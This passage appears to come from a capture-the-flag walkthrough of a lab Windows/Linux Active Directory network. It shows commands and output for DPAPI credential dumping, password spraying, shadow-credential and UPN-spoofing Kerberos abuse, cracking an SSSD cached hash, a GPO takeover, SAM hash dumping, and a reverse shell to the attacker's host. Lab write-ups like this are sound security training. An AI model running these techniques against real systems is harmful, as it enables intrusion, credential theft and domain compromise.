Cim        1.0.0.0    ServerManagerTasks                  {Get-SMCounterSample, Get-SMPerformanceCollector, Start-SMP...
Manifest   2.0.0.0    SmbShare                            {Get-SmbShare, Remove-SmbShare, Set-SmbShare, Block-SmbShar...
Manifest   2.0.0.0    SmbWitness                          {Get-SmbWitnessClient, Move-SmbWitnessClient, gsmbw, msmbw...}
Manifest   2.0.0.0    SoftwareInventoryLogging            {Get-SilComputer, Get-SilComputerIdentity, Get-SilSoftware,...
Manifest   2.0.0.0    Storage                             {Add-InitiatorIdToMaskingSet, Add-PartitionAccessPath, Add-...
Manifest   1.0.0.0    StorageBusCache                     {Clear-StorageBusDisk, Disable-StorageBusCache, Disable-Sto...
Manifest   2.0.0.0    TLS                                 {New-TlsSessionTicketKey, Enable-TlsSessionTicketKey, Disab...
Manifest   2.0.0.0    TrustedPlatformModule               {Get-Tpm, Initialize-Tpm, Clear-Tpm, Unblock-Tpm...}
Manifest   1.0.0.0    UserAccessLogging                   {Enable-Ual, Disable-Ual, Get-Ual, Get-UalDns...}
Script     1.0.0.0    VMDirectStorage                     {Get-VMDirectVirtualDisk, Add-VMDirectVirtualDisk, Remove-V...
Manifest   2.0.0.0    VpnClient                           {Add-VpnConnection, Set-VpnConnection, Remove-VpnConnection...
Manifest   1.0.0.0    Wdac                                {Get-OdbcDriver, Set-OdbcDriver, Get-OdbcDsn, Add-OdbcDsn...}
Manifest   1.0.0.0    WebAdministration                   {Start-WebCommitDelay, Stop-WebCommitDelay, Get-WebConfigur...
Manifest   2.0.0.0    Whea                                {Get-WheaMemoryPolicy, Set-WheaMemoryPolicy}
Script     1.0        WindowsErrorReporting               {Enable-WindowsErrorReporting, Disable-WindowsErrorReportin...
Manifest   1.0.0.0    WindowsUpdate                       Get-WindowsUpdateLog
Script     1.0.0.0    WinHttpProxy                        {Get-WinhttpProxy, Export-WinhttpProxy, Reset-WinhttpProxy,...

Because there is a scheduled task running as the local Administrator user, that accounts creds must be saved along with it. If this were a domain account I was interested in, as local admin, I could run scheduled tasks as this user, but that doesn’t get me much here.

DPAPI Keys

The CredentialManager module provides access to saved credentials in the Windows Credential Vault using DPAPI. The Get-StoredCredential commandlet will return credential objects, but it doesn’t work with the session I have here:

evil-winrm-py PS C:\> Get-StoredCredential
CredEnumerate failed with the error code 1312.

There are no credentials stored in the Administrator’s home directory, but there is a DPAPI key:

evil-winrm-py PS C:\Users\Administrator\AppData\Roaming\Microsoft> ls -force Credentials
evil-winrm-py PS C:\Users\Administrator\AppData\Roaming\Microsoft> ls -force Protect

    Directory: C:\Users\Administrator\AppData\Roaming\Microsoft\Protect

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         1/15/2025   4:11 PM                S-1-5-21-2988385993-1727309239-2541228647-500
-a-hs-         1/15/2025   4:11 PM            168 CREDHIST
-a-hs-         1/15/2025   4:11 PM             76 SYNCHIST   

CREDHIST stores the users old passwords. The SID is the directory with the keys. There are three:

evil-winrm-py PS C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500> ls -force

    Directory: C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         1/15/2025   4:11 PM            468 189c6409-5515-4114-81d2-6dde4d6912ce
-a-hs-        10/14/2025   5:53 PM            468 46caa57b-6bf4-40fa-bc8d-02b5588004ac
-a-hs-         1/16/2025  10:35 AM            468 6037d071-cac5-481e-9e08-c4296c0a7ff7
-a-hs-        10/14/2025   5:53 PM             24 Preferred    

Recover Admin Passwords

Via DonPAPI / netexec

DonPAPI is a really nice tool for exfiling credentials from a compromised host. I’ll install it using uv tool install donpapi (see my uv cheatsheet), and then run it with the Administrator ticket and proxychains:

oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains -q DonPAPI collect -k --no-pass -t WEB-01.darkcorp.htb
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/oxdf/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/oxdf/.donpapi/recover/recover_1760525489
[WEB-01.darkcorp.htb] [+] Starting gathering credz
[WEB-01.darkcorp.htb] [+] Dumping SAM
[WEB-01.darkcorp.htb] [$] [SAM] Got 4 accounts
[WEB-01.darkcorp.htb] [+] Dumping LSA
[WEB-01.darkcorp.htb] [+] Dumping User and Machine masterkeys
[WEB-01.darkcorp.htb] [$] [DPAPI] Got 5 masterkeys
[WEB-01.darkcorp.htb] [+] Dumping User Chromium Browsers
[WEB-01.darkcorp.htb] [+] Dumping User and Machine Certificates
[WEB-01.darkcorp.htb] [+] Dumping User and Machine Credential Manager
[WEB-01.darkcorp.htb] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:But_Lying_Aid9!
[WEB-01.darkcorp.htb] [+] Gathering recent files and desktop files
[WEB-01.darkcorp.htb] [+] Dumping User Firefox Browser
[WEB-01.darkcorp.htb] [+] Dumping MobaXterm credentials
[WEB-01.darkcorp.htb] [+] Dumping MRemoteNg Passwords
[WEB-01.darkcorp.htb] [+] Dumping User's RDCManager
[WEB-01.darkcorp.htb] [+] Dumping SCCM Credentials
[WEB-01.darkcorp.htb] [+] Dumping User and Machine Vaults
[WEB-01.darkcorp.htb] [+] Dumping VNC Credentials
[WEB-01.darkcorp.htb] [+] Dumping Wifi profiles
DonPAPI running against 1 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

It dumps the password for Administrator, “But_Lying_Aid9!” from the scheduled task.

I can do the same thing with netexec:

oxdf@hacky$ KRB5CCNAME=Administrator.ccache proxychains -q netexec smb 172.16.20.2 -u administrator --use-kcache --dpapi
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB         172.16.20.2     445    WEB-01           [+] DARKCORP.HTB\administrator from ccache (Pwn3d!)
SMB         172.16.20.2     445    WEB-01           [*] Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB         172.16.20.2     445    WEB-01           [+] Got 5 decrypted masterkeys. Looting secrets...
SMB         172.16.20.2     445    WEB-01           [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:But_Lying_Aid9!

This is the local admin password:

oxdf@hacky$ proxychains -q netexec smb 172.16.20.2 -u administrator -p But_Lying_Aid9! --local-auth
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB         172.16.20.2     445    WEB-01           [+] WEB-01\administrator:But_Lying_Aid9! (Pwn3d!)

I’ll use RunasCs.exe to get a shell with full context:

evil-winrm-py PS C:\programdata> .\RunasCs.exe administrator 'But_Lying_Aid9!' cmd.exe -r 10.10.14.8:443

[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-4cccc1$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 96 created in background.

At nc:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 51862
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

I’ll switch to PowerShell and get the credential:

C:\Windows\system32>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> $cred = Get-StoredCredential
PS C:\Windows\system32> $cred.GetNetworkCredential().Username
Administrator
PS C:\Windows\system32> $cred.GetNetworkCredential().Password
Pack_Beneath_Solid9!

This is clearly not the current password for Administrator. It must be an older one.

I can also just use netexec again authenticating with the password and it now gets the second password:

oxdf@hacky$ proxychains -q netexec smb 172.16.20.2 -u administrator -p 'But_Lying_Aid9!' --local-auth --dpapi
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:WEB-01) (signing:False) (SMBv1:False)
SMB         172.16.20.2     445    WEB-01           [+] WEB-01\administrator:But_Lying_Aid9! (Pwn3d!)
SMB         172.16.20.2     445    WEB-01           [*] Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB         172.16.20.2     445    WEB-01           [+] Got 7 decrypted masterkeys. Looting secrets...
SMB         172.16.20.2     445    WEB-01           [Administrator][CREDENTIAL] LegacyGeneric:target=WEB-01 - Administrator:Pack_Beneath_Solid9!
SMB         172.16.20.2     445    WEB-01           [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:But_Lying_Aid9!

Via Scheduled Task

The intended way to fetch the credential is by modifying a scheduled task. When the scheduled task runs as the admin user, it will be in a complete context that allows for access to the stored credentials. I’ll add to the cleanup.ps1 script:

evil-winrm-py PS C:\> echo '' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$cred = Get-StoredCredential' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$ncred = $cred.GetNetworkCredential()' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$user = $ncred.Username' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo '$pass = $ncred.Password' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1
evil-winrm-py PS C:\> echo 'echo "$user : $pass" > C:\programdata\0xdf.txt' >> C:\Users\Administrator\Documents\cleanup\cleanup.ps1

This will run in a full context that will allows access to the credentials, and save them to a file. I could wait for it to run, or just run it:

evil-winrm-py PS C:\Users\Administrator\Documents\cleanup> Start-ScheduledTask -TaskName CleanupScript
evil-winrm-py PS C:\Users\Administrator\Documents\cleanup> cat \programdata\0xdf.txt
Administrator : Pack_Beneath_Solid9!

Password Spray

I’ll use netexec to dump a list of users:

oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u victor.r -p victor1gustavo@# --users
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         172.16.20.1     445    DC-01            [+] darkcorp.htb\victor.r:victor1gustavo@# 
SMB         172.16.20.1     445    DC-01            -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         172.16.20.1     445    DC-01            Administrator                 2024-12-29 23:25:45 0       Built-in account for administering the computer/domain 
SMB         172.16.20.1     445    DC-01            Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         172.16.20.1     445    DC-01            krbtgt                        2024-12-29 23:29:05 0       Key Distribution Center Service Account 
SMB         172.16.20.1     445    DC-01            victor.r                      2025-01-06 16:53:19 0        
SMB         172.16.20.1     445    DC-01            svc_acc                       2024-12-29 23:39:38 0        
SMB         172.16.20.1     445    DC-01            john.w                        2024-12-29 23:39:48 0        
SMB         172.16.20.1     445    DC-01            angela.w                      2024-12-29 23:39:57 0        
SMB         172.16.20.1     445    DC-01            angela.w.adm                  2024-12-29 23:39:57 0        
SMB         172.16.20.1     445    DC-01            taylor.b                      2025-01-09 16:10:33 0        
SMB         172.16.20.1     445    DC-01            taylor.b.adm                  2025-01-08 21:55:01 0        
SMB         172.16.20.1     445    DC-01            eugene.b                      2025-02-03 17:30:41 0        
SMB         172.16.20.1     445    DC-01            bryce.c                       2025-02-03 17:31:26 0        
SMB         172.16.20.1     445    DC-01            [*] Enumerated 12 local users: darkcorp
oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u victor.r -p victor1gustavo@# --users | awk '{print $5}' | grep -v '[\[-]' > users.txt
oxdf@hacky$ cat users.txt 
Administrator
Guest
krbtgt
victor.r
svc_acc
john.w
angela.w
angela.w.adm
taylor.b
taylor.b.adm
eugene.b
bryce.c

Now I’ll spray the local administrator password to see if it’s shared with any domain users:

oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u users.txt -p 'Pack_Beneath_Solid9!' --continue-on-success
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\Administrator:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\Guest:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\krbtgt:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\victor.r:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\svc_acc:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [+] darkcorp.htb\john.w:Pack_Beneath_Solid9! 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\angela.w:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\angela.w.adm:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\taylor.b:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\taylor.b.adm:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\eugene.b:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 
SMB         172.16.20.1     445    DC-01            [-] darkcorp.htb\bryce.c:Pack_Beneath_Solid9! STATUS_LOGON_FAILURE 

john.w is a match! I could also spray with the local admin password, but this is what I need to continue forward.

Auth as angela.w@darkcorp.htb

Enumeration

John.W has GenericWrite over Angela.W:

image-20251015091349433

Shadow Credential

I’ll use the GenericWrite to set a shadow credential using Certipy:

oxdf@hacky$ proxychains -q certipy shadow auto -username john.w -p Pack_Beneath_Solid9! -account angela.w -target dc-01.darkcorp.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc-01.darkcorp.htb.
[!] Use -debug to print a stacktrace
[*] Targeting user 'angela.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '4c614815b2864aa4b58f830b0801e185'
[*] Adding Key Credential with device ID '4c614815b2864aa4b58f830b0801e185' to the Key Credentials for 'angela.w'
[*] Successfully added Key Credential with device ID '4c614815b2864aa4b58f830b0801e185' to the Key Credentials for 'angela.w'
[*] Authenticating as 'angela.w' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'angela.w@darkcorp.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'angela.w.ccache'
[*] Wrote credential cache to 'angela.w.ccache'
[*] Trying to retrieve NT hash for 'angela.w'
[*] Restoring the old Key Credentials for 'angela.w'
[*] Successfully restored the old Key Credentials for 'angela.w'
[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a

That dumps the NTLM hash, which I can auth with:

oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u angela.w -H 957246c8137069bca672dc6aa0af7c7a
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         172.16.20.1     445    DC-01            [+] darkcorp.htb\angela.w:957246c8137069bca672dc6aa0af7c7a

Shell as angela.w.adm@drip

Enumeration

BloodHound data shows nothing of interest from angela.w. But there is also an angela.w.adm account, and it’s a member of the Linux Admins group:

image-20251015093953435

UPN Spoofing

There’s a 2023 post from Pen Test Partners, A broken marriage. Abusing mixed vendor Kerberos stacks. This post talks about mismatches in how Windows and other OSes handle Kerberos, and how to abuse those edge cases. The attack here is to update angela.w’s UPN to angela.w.adm, and then generate a TGT. User Principal Name (UPN) is an Active Directory attribute that provides an alternative login name, typically formatted like an email address (e.g., angela.w@darkcorp.htb). It’s supposed to be just another way to reference the same account. The issue here is that by setting the UPN and generating the ticket in a specific way, the TGT will be trusted by Linux as angela.w.adm (rather than angela.w).

The angela.w account doesn’t have a UPN set:

oxdf@hacky$ proxychains -q bloodyAD --domain darkcorp.htb --host dc-01 -u john.w -p 'Pack_Beneath_Solid9!' get object angela.w | grep userPrincipalName

I’ll set it:

oxdf@hacky$ proxychains -q bloodyAD --domain darkcorp.htb --host dc-01 -u john.w -p 'Pack_Beneath_Solid9!' set object angela.w userPrincipalNa
me -v angela.w.adm                    
[+] angela.w's userPrincipalName has been updated
oxdf@hacky$ proxychains -q bloodyAD --domain darkcorp.htb --host dc-01 -u john.w -p 'Pack_Beneath_Solid9!' get object angela.w | grep userPrincipalName
userPrincipalName: angela.w.adm

Now I’ll make a ticket:

oxdf@hacky$ proxychains getTGT.py -hashes :957246c8137069bca672dc6aa0af7c7a -principalType 'NT_ENTERPRISE' darkcorp.htb/angela.w.adm
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  DARKCORP.HTB:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  DARKCORP.HTB:88  ...  OK
[*] Saving ticket in angela.w.adm.ccache

It’s important to use the NT_ENTERPRISE principalType for this attack so that the UPN will be used first, as shown in this diagram from the article:

image-20251015095322441

I’ll upload the resulting ticket to the Linux host using scp:

oxdf@hacky$ sshpass -p ThePlague61780 scp angela.w.adm.ccache ebelford@drip.htb:/dev/shm/

Now I’ll SSH into drip and use ksu to authenticate with that key:

ebelford@drip:~$ cd /dev/shm/
ebelford@drip:/dev/shm$ KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
Changing uid to angela.w.adm (1730401107)
angela.w.adm@drip:/dev/shm$ 

There is a cleanup script removing the UPN from the angela.w account.

ebelford@drip:/dev/shm$ KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
ksu: TGT has been revoked while verifying ticket for server
Authentication failed.

This error means it’s necessary to go back and re-add the UPN.

Shell as root@drip

angela.w.adm can run any command as any user with sudo:

angela.w.adm@drip:/dev/shm$ sudo -l
Matching Defaults entries for angela.w.adm on drip:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User angela.w.adm may run the following commands on drip:
    (ALL : ALL) NOPASSWD: ALL

sudo -i returns a root shell:

angela.w.adm@drip:/dev/shm$ sudo -i
root@drip:~# 

Shell as taylor.b.adm@DC-01

Enumeration

The Linux host is using SSSD for domain authentication. As root, I can get the configuration now from /etc/sssd/sssd.conf:

[sssd]
services = nss, pam
domains = darkcorp.htb

[domain/darkcorp.htb]
id_provider = ad
cache_credentials = True
auth_provider = ad
access_provider = simple
default_shell = /bin/bash
use_fully_qualified_names= False
krb5_store_password_if_offline = True
simple_allow_groups = linux_admins

cached_credentials is enabled! They are stored in /var/lib/sss/db:

root@drip:/var/lib/sss/db# ls
cache_darkcorp.htb.ldb  ccache_DARKCORP.HTB  config.ldb  sssd.ldb  timestamps_darkcorp.htb.ldb

Cached Password

Extract from Database

I’ll exfil the cache_darkcorp.htb.ldb file to my host, where I can interact with it using ldbsearch (sudo apt install ldb-tools). To get cached passwords, I’ll need to add that to the query:

oxdf@hacky$ ldbsearch -H cache_darkcorp.htb.ldb '(cachedPassword=*)'
asq: Unable to register control with rootdse!
# record 1
dn: name=taylor.b.adm@darkcorp.htb,cn=users,cn=darkcorp.htb,cn=sysdb
createTimestamp: 1736373877
fullName: Taylor Barnard ADM
gecos: Taylor Barnard ADM
gidNumber: 1730400513
name: taylor.b.adm@darkcorp.htb
objectCategory: user
uidNumber: 1730414101
objectSIDString: S-1-5-21-3432610366-2163336488-3604236847-14101
uniqueID: 6780d137-c4a5-49c2-9240-47ae051365c6
originalDN: CN=Taylor Barnard ADM,CN=Users,DC=darkcorp,DC=htb
originalMemberOf: CN=gpo_manager,CN=Users,DC=darkcorp,DC=htb
originalMemberOf: CN=linux_admins,CN=Users,DC=darkcorp,DC=htb
originalMemberOf: CN=Remote Management Users,CN=Builtin,DC=darkcorp,DC=htb
originalModifyTimestamp: 20250108215501.0Z
entryUSN: 118872
adAccountExpires: 9223372036854775807
adUserAccountControl: 66048
nameAlias: taylor.b.adm@darkcorp.htb
isPosix: TRUE
lastUpdate: 1736373877
initgrExpireTimestamp: 0
ccacheFile: FILE:/tmp/krb5cc_1730414101_B5njUL
cachedPassword: $6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHv
 lnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
cachedPasswordType: 1
lastCachedPasswordChange: 1736373912
failedLoginAttempts: 0
lastOnlineAuth: 1736373912
lastOnlineAuthWithCurrentToken: 1736373912
lastLogin: 1736373912
memberof: name=Domain Users@darkcorp.htb,cn=groups,cn=darkcorp.htb,cn=sysdb
memberof: name=linux_admins@darkcorp.htb,cn=groups,cn=darkcorp.htb,cn=sysdb
memberof: name=gpo_manager@darkcorp.htb,cn=groups,cn=darkcorp.htb,cn=sysdb
dataExpireTimestamp: 1
distinguishedName: name=taylor.b.adm@darkcorp.htb,cn=users,cn=darkcorp.htb,cn=
 sysdb

# returned 1 records
# 1 entries
# 0 referrals

The cachedPassword field has a SHA-512 crypt password hash. I could also just find this hash with strings and grep on the host:

root@drip:/var/lib/sss/db# cat cache_darkcorp.htb.ldb | strings -n 60 | grep '\$'
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.

Crack

I’ll save the hash to a file and pass it to hashcat:

$ hashcat taylor.b.adm.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
                                                                  
1800 | sha512crypt $6$, SHA512 (Unix) | Operating System        
...[snip]...
$6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.:!QAZzaq1
...[snip]...

Verify

I’ll verify that password. On drip, I can su from an unprivileged user:

angela.w.adm@drip:/dev/shm$ exit
exit
ebelford@drip:/dev/shm$ su - taylor.b.adm
Password: 
su: warning: cannot change directory to /home/darkcorp.htb/taylor.b.adm: No such file or directory
taylor.b.adm@drip:/dev/shm$

It also works on the domain:

oxdf@hacky$ proxychains -q netexec smb 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         172.16.20.1     445    DC-01            [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 

WinRM is available as well:

oxdf@hacky$ proxychains -q netexec winrm 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'
WINRM       172.16.20.1     5985   DC-01            [*] Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb) 
WINRM       172.16.20.1     5985   DC-01            [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (Pwn3d!)

Shell

I’ll get a shell with evil-winrm-py:

oxdf@hacky$ proxychains -q evil-winrm-py -i dc-01 -u taylor.b.adm -p '!QAZzaq1'
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to 'dc-01:5985' as 'taylor.b.adm'
evil-winrm-py PS C:\Users\taylor.b.adm\Documents>

Shell as Administrator@DC-01

Enumeration

taylor.b.adm is a member of two custom groups, linux_admins and gpo_manager:

evil-winrm-py PS C:\Users\taylor.b.adm\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes                                        
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
darkcorp\linux_admins                       Group            S-1-5-21-3432610366-2163336488-3604236847-1109 Mandatory group, Enabled by default, Enabled group
darkcorp\gpo_manager                        Group            S-1-5-21-3432610366-2163336488-3604236847-1110 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448 

This provides significant control over the SecurityUpdates group policy object (GPO):

image-20251015103205016

GPO Abuse

I’ll try SharpGPOAbuse (just like in Office), but it gets blocked by AMSI:

evil-winrm-py PS C:\programdata> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount taylor.b.adm --GPOName "SECURITYUPDATES"
Program 'SharpGPOAbuse.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount taylor.b.adm --GPON ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.

pyGPOAbuse will modify GPOs remotely, so I don’t have to worry about AMSI. I showed this previously in BabyTwo, and I’ll run basically the same command here:

oxdf@hacky$ proxychains uv run --script pygpoabuse.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1' -gpo-id 652CAE9A-4BB7-49F2-9E52-3361F33CE786 -command 'net localgroup administrators taylor.b.adm /add' -f
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  darkcorp.htb:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  darkcorp.htb:389  ...  OK
[+] ScheduledTask TASK_0b270770 created!

After a couple minutes (running gpupdate /force will speed this up), taylor.b.adm shows as (Pwn3d!) in netexec:

oxdf@hacky$ proxychains -q netexec smb dc-01 -u taylor.b.adm -p '!QAZzaq1'
SMB         224.0.0.1       445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         224.0.0.1       445    DC-01            [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (Pwn3d!)

I’ll use this account to dump hashes:

oxdf@hacky$ proxychains -q secretsdump.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1@dc-01'
/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe7c8f385f342172c7b0267fe4f3cbbd6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
